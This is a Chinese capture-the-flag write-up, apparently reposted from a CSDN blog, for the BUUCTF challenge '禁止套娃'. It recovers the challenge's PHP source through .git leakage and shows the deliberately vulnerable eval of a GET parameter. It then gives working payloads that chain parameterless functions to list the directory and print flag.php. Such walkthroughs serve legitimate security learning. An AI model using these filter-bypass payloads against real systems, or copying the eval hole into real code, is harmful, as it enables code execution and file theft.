BUUCTF-禁止套娃

打开题目,单纯一个flag在哪,源码啥都没有

我上一篇文章里放的链接,这一题也能用到,.git源码泄露,用GitHack.py

ctf/web源码泄露及利用办法【总结中】_Sp4rkW的博客-CSDN博客_web源码泄露

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

得到index.php,ok我们一步一步分析

get提交exp参数,过滤了(/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//这些伪协议,并匹配'/[a-z,_]+\((?R)?\)转化为空,这里有个(?R)?递归调用限制我们传入的参数,只能不是参数函数才能执行,没有参数的函数,容我想一想。

用到scandir():扫描当前目录

localeconv():函数返回一包含本地数字及货币格式信息的数组

current():返回数组第一个值

print_r输出

?exp=print_r(scandir(current(localeconv())));

利用数据操作函数

next(): 数组指针指向下一位

array_reverse():将数组颠倒

array_rand(): 随机返回数组的键名

读取函数

file_get_content()

show_source()

因为et被禁用,所以用show

?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

拿到flag

猜你喜欢

转载自blog.csdn.net/m0_47571887/article/details/121275508
今日推荐